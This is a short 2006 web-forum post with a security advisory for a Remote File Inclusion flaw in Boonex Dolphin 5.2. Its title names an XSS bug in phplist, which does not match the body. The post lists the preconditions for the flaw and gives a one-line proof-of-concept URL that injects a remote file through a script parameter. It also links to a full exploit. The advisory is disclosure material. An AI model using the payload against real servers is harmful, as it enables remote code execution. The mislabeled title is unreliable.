Home › [Xss] IN phplist v 2.10.2

[Xss] IN phplist v 2.10.2

Mi, 18/10/2006 - 20:08 — OeX
/****************************************/

http://www.w4cking.com

CREDIT:
w4ck1ng.com

PRODUCT:
Boonex Dolphin 5.2
http://www.boonex.com/products/dolphin/

VULNERABILITY:
Remote File Inclusion

NOTES:
- requires register globals on
- requires magic quotes off

POC:
<host>/<path>/templates/tmpl_dfl/scripts/index.php?dir[inc]=<local/remotefile>

ADVISORY & EXPLOIT (requires registration):
http://w4ck1ng.com/board/showthread.php?t=1490

/****************************************/
  • 752 lecturas

Responder

  • Saltos automáticos de líneas y de párrafos.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <img> <p> <br>
  • You may post code using <code>...</code> (generic) or <?php ... ?> (highlighted PHP) tags.

Más información sobre opciones de formato

CAPTCHA
This question is for testing whether you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Copy the characters (respecting upper/lower case) from the image.